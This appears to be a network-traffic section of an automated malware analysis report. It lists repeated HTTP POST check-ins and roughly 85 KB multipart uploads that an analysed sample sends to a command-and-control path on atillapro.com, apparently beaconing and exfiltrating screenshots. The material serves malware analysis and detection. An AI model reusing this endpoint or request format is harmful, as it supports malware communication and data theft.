Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwOTg=Host: atillapro.comContent-Length: 85250Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTEwNDE=Host: atillapro.comContent-Length: 91193Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwODc=Host: atillapro.comContent-Length: 85239Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwODc=Host: atillapro.comContent-Length: 85239Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwODc=Host: atillapro.comContent-Length: 85239Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 156Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODUwODc=Host: atillapro.comContent-Length: 85239Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
